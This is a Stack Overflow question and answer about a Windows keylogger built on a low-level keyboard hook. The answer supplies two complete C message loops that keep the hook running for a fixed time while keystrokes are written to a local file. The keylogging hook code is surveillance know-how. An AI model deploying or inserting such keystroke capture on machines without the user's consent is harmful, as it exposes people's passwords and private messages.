-3

i've created this keylogger using win api.

int keylogger_main()
{
    char path[] = "D:\\winApiFiles\\key_logs.txt";
    // delete the previous file, always.
    DeleteFileA(path);

    MSG msg;
    HHOOK hHook = NULL;

    // starting time
    time_t start_time = time(NULL);
    
    // setting hook
    hHook = SetWindowsHookEx(WH_KEYBOARD_LL, kbHook, NULL, 0);
    if (hHook == NULL)
    {
        printf("HOOK FAILED");
    }

    while (GetMessage(NULL, NULL, 0, 0));

    printf("Key logs saved to: %s", path);
    return 0;
}

This is just the main. the kbHook LRESULT works fine. When I run it like this, it works and saves the key logs to the file. But I want the program to stop after a certain amount of time.

I tried using sleep and UnhookWindowsHookEx before the call to while:

hHook = SetWindowsHookEx(WH_KEYBOARD_LL, kbHook, NULL, 0);
if (hHook == NULL)
{
    printf("HOOK FAILED");
}
Sleep(10000);
UnhookWindowsHookEx(hHook);

while (GetMessage(NULL, NULL, 0, 0));

But for some reason, the hook doesn't work until the GetMessage function is called. So because I unhook the hook before GetMessage is called, no key log file is created (I don't understand why). And when it is called, it is stuck. Because for some reason, no messages are available in the message queue.

If someone could explain to me what is happening, I'll be very greatful.

nat34
  • 3
  • 5
  • 1
    Your code does not contain `sleep` or `UnhookWindowsHookEx`. Can you please add what you tried to the code? – Weather Vane Oct 27 '22 at 19:54
  • Several years ago I did this in AutoIt3. The main loop worked with `Sleep()`, but I assume there is a message loop somewhere buried in Autoit's runtime system. Anyway, I used the module handle instead of `NULL` as the third argument to `SetWindowsHookEx()`. For an easier handling in error situations I also used an "on-exit" callback to unhook. – the busybee Oct 27 '22 at 20:08
  • Ok sounds good. But can you explain what I should change in my code? (if that's not to much). Cuz I didn't quite understand – nat34 Oct 27 '22 at 20:12
  • I don't understand what GetMessage is doing here. Also, the first parameter of GetMessage cannot be NULL. (Only the WM_QUIT message can cause GetMessage to return 0). – CGi03 Oct 27 '22 at 20:17
  • I didn't understand too.... But the hook seems to work only when it is present. Like, I create a file and write the key logs to it (in a piece of code which I haven't included, but it works) But basically I took my idea from https://gist.github.com/sbarratt/3077d5f51288b39665350dc2b9e19694 – nat34 Oct 27 '22 at 20:21
  • `Sleep(10000)` suspends your entire thread, meaning that none of your code will execute until 10 seconds have passed. Clearly, you can't log any keystrokes if there is no code being executed. Your call to `GetMessage` is wrong, too. You can't have a do-nothing loop for message processing. Did you try reading the official documentation for `GetMessage`, which contains an example of proper use? Trying to write WinAPI code without ever reading the documentation at all is a sure recipe for failure; you have to at least have a basic understanding of what you're doing. – Ken White Oct 27 '22 at 23:10

1 Answers1

0

GetMessage() blocks the calling thread until a posted message is available in that thread's message queue, while dispatching synchronous window messages from other threads. Most SetWindowsHookEx() hooks use internal messages and thus require the installing thread to have an active message loop to dispatch hook events. This is even stated in the LowLevelKeyboardProc callback function documentation:

This hook is called in the context of the thread that installed it. The call is made by sending a message to the thread that installed the hook. Therefore, the thread that installed the hook must have a message loop.

To implement a timeout mechanism in a message loop, you can use a Waitable Timer in combination with MsgWaitForMultipleObjects(), eg:

int keylogger_main()
{
    char path[] = "D:\\winApiFiles\\key_logs.txt";

    // delete the previous file, always.
    DeleteFileA(path);
    
    // setting hook
    HHOOK hHook = SetWindowsHookEx(WH_KEYBOARD_LL, kbHook, NULL, 0);
    if (hHook == NULL)
    {
        printf("HOOK FAILED");
        return -1;
    }

    HANDLE hTimer = CreateWaitableTimer(NULL, TRUE, NULL);
    if (hTimer == NULL)
    {
        printf("TIMER CREATE FAILED");
        UnhookWindowsHookEx(hHook);
        return -1;
    }

    LARGE_INTEGER liDueTime;
    liDueTime.QuadPart = -100000000LL; // 10 seconds

    if (!SetWaitableTimer(hTimer, &liDueTime, 0, NULL, NULL, FALSE))
    {
        printf("TIMER UPDATE FAILED");
        CloseHandle(hTimer);
        UnhookWindowsHookEx(hHook);
        return -1;
    }

    DWORD ret;  
    while ((ret = MsgWaitForMultipleObjects(1, &hTimer, FALSE, INFINITE, QS_ALLINPUT)) == (WAIT_OBJECT_0+1))
    {
        MSG msg;
        while (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE))
        {
            TranslateMessage(&msg);
            DispatchMessage(&msg);
        }
    }

    int result;
    if (ret == WAIT_FAILED)
    {
        // the wait failed
        printf("MSG QUEUE FAILED");
        CancelWaitableTimer(hTimer);
        result = -1;
    }
    else
    {
        // must be WAIT_OBJECT_0 when the timer elapsed
        printf("TIMER ELAPSED");
        result = 0;
    }

    CloseHandle(hTimer);
    UnhookWindowsHookEx(hHook);

    printf("Key logs saved to: %s", path);
    return result;
}

Alternatively, you can just use the timeout parameter of MsgWaitForMulipleObjects() and not use a waitable timer at all, eg:

int keylogger_main()
{
    char path[] = "D:\\winApiFiles\\key_logs.txt";

    // delete the previous file, always.
    DeleteFileA(path);
    
    // setting hook
    HHOOK hHook = SetWindowsHookEx(WH_KEYBOARD_LL, kbHook, NULL, 0);
    if (hHook == NULL)
    {
        printf("HOOK FAILED");
        return -1;
    }

    const DWORD totalTime = 10000; // 10 seconds
    const DWORD startTime = GetTickCount();
    DWORD remainingTime = totalTime, elapsedTime, ret;
    
    do
    {
        ret = MsgWaitForMultipleObjects(0, NULL, FALSE, remainingTime, QS_ALLINPUT);
        if (ret != WAIT_OBJECT_0) break;

        MSG msg;
        while (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE))
        {
            TranslateMessage(&msg);
            DispatchMessage(&msg);
        }

        elapsedTime = GetTickCount() - startTime;
        if (elapsedTime >= totalTime)
        {
            ret = WAIT_TIMEOUT;
            break;
        }

        remainingTime = totalTime - elapsedTime;
    }
    while (true);

    int result;
    if (ret == WAIT_FAILED)
    {
        // the wait failed
        printf("MSG QUEUE FAILED");
        result = -1;
    }
    else
    {
        // must be WAIT_TIMEOUT when the wait timed out
        printf("TIME ELAPSED");
        result = 0;
    }

    UnhookWindowsHookEx(hHook);

    printf("Key logs saved to: %s", path);
    return result;
}
Remy Lebeau
  • 555,201
  • 31
  • 458
  • 770